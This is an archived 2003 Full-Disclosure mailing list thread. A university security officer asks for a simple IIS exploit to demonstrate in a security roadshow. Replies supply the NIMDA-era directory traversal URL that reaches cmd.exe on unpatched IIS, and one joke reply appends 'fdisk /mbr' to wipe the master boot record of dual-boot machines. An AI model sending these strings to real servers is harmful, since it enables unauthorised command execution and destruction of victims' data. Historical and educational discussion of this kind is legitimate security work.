full-disclosure - Unusual request

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <A7043C74B6DA4842BD57E4449F43BB1B028F9F@shiro.oicinc.com>
From: schoe at oicinc.com (Sung J. Choe)
Subject: Unusual request

> could give a demo of what M$ might have launched on the world
> to get rid of dual-boot boxes!!
 
It may be a bad idea to give Bill Gates and his M$ goons any ideas.  Then
again, those lamers who are dual-booting due to fear of the unknown should
probably be more decisive and run linux and only linux.  ;-p
 
Sung J. Choe < SChoe[at]oicinc.com <mailto:SChoe@...inc.com> >, TICSA
Systems Administrator, Facility Security Officer	

     Oceanic Imaging Consultants, Inc. / www.oicinc.com
<http://www.oicinc.com/>    Ph #: (808) 539-3634

-----Original Message-----
From: Steve Wray [mailto:steve.wray@...adise.net.nz]
Sent: Wednesday, February 12, 2003 2:07 PM
To: full-disclosure@...ts.netsys.com
Subject: RE: [Full-Disclosure] Unusual request


I imagine that setting up a dual-boot Linux/Win2k box and
sending it;
 
 <http://victim.com/scripts/..%5c%5c../winnt/system32/cmd.exe>
http://victim.com/scripts/..%5c%5c../winnt/system32/cmd.exe%20fdisk%20/mbr
 
could give a demo of what M$ might have launched on the world
to get rid of dual-boot boxes!!
;)
the '/' in '/mbr' may need to be escaped though.
 

-----Original Message-----
From: full-disclosure-admin@...ts.netsys.com
[mailto:full-disclosure-admin@...ts.netsys.com] On Behalf Of Sung J. Choe
Sent: Thursday, 13 February 2003 12:42 p.m.
To: 'Paul Schmehl'
Cc: 'full-disclosure@...ts.netsys.com'
Subject: RE: [Full-Disclosure] Unusual request



I am looking for an exploit that will give you "root" on 
> an unpatched IIS box by simply typing a string in the address line in 
> your browser. 

I don't know about "root"ing an IIS system but the NIMDA method of
exploiting IIS via:
http://victim.com/scripts/..%5c%5c../winnt/system32/cmd.exe
<http://victim.com/scripts/..%5c%5c../winnt/system32/cmd.exe>  seems to be a
close match to what you are describing.


.--------------------------------------------------. 
| Sung J. Choe <schoe[at]oicinc.com>, TICSA        | 
| Systems Administrator, Facility Security Officer | 
.--------------------------------------------------.----. 
                    | Oceanic Imaging Consultants, Inc. | 
                    | Phone #: (808) 539-3634 x3634     | 
                    .-----------------------------------. 

568D CAD6 53A0 92E6 4A2A  4E87 3BA0 5F90 37BB 8EE7 

> -----Original Message----- 
> From: Paul Schmehl [ mailto:pauls@...allas.edu <mailto:pauls@...allas.edu>
] 
> Sent: Wednesday, February 12, 2003 1:26 PM 
> To: Full-Disclosure 
> Subject: [Full-Disclosure] Unusual request 
> 
> 
> The net is filled with so much junk now, it's getting harder to find 
> what you need.  I am looking for an exploit that will give 
> you "root" on 
> an unpatched IIS box by simply typing a string in the address line in 
> your browser.  I know I've seen it before, but I can't seem to find it 
> amongst all the vulns for IIS and all the web logs that show 
> up when you 
> google. 
> 
> I need this for a "security roadshow" that we're putting 
> together, so I 
> can demonstrate how easy it is to break in to an unpatched box.  Can 
> anybody point me in the right direction? 
> 
> I don't want exploit code.  This is just a simple string that 
> you enter 
> into the URL box in a browser.  It's at least two or three 
> years old, I 
> know. 
> 
> -- 
> Paul Schmehl (pauls@...allas.edu) 
> Adjunct Information Security Officer 
> The University of Texas at Dallas 
> http://www.utdallas.edu/~pauls/ <http://www.utdallas.edu/~pauls/>  
> AVIEN Founding Member 
> 
> _______________________________________________ 
> Full-Disclosure - We believe in it. 
> Charter: http://lists.netsys.com/full-disclosure-charter.html
<http://lists.netsys.com/full-disclosure-charter.html>  
> 



-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20030212/af19c78f/attachment.html
-------------- next part --------------
A non-text attachment was scrubbed...
Name: schoe.vcf
Type: application/octet-stream
Size: 284 bytes
Desc: not available
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20030212/af19c78f/schoe.obj